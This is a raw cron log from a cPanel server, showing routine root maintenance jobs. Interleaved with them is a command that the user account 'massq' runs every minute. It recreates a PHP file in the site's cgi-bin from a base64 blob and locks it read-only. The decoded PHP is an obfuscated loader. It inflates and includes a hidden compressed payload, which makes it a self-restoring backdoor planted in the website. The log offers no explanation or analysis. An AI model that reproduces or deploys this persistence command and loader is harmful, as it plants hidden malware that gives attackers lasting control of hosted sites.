Nov 10 21:57:01 server CROND[19849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:57:01 server CROND[19850]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 21:58:01 server CROND[20211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:59:01 server CROND[20858]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:00:01 server CROND[21683]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 22:00:01 server CROND[21684]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 22:00:01 server CROND[21687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:00:01 server CROND[21686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:00:01 server CROND[21688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:01:01 server CROND[22586]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 22:01:01 server CROND[22584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:01:01 server run-parts(/etc/cron.hourly)[22586]: starting 0anacron
Nov 10 22:01:01 server run-parts(/etc/cron.hourly)[22599]: finished 0anacron
Nov 10 22:02:01 server CROND[23508]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:03:01 server CROND[24254]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:04:01 server CROND[25080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:05:01 server CROND[25942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:05:01 server CROND[25943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:05:01 server CROND[25944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:05:01 server CROND[25945]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 22:06:01 server CROND[26830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:07:01 server CROND[27749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:08:01 server CROND[28551]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:09:01 server CROND[29414]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 22:09:01 server CROND[29415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:10:01 server CROND[30251]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:10:01 server CROND[30252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
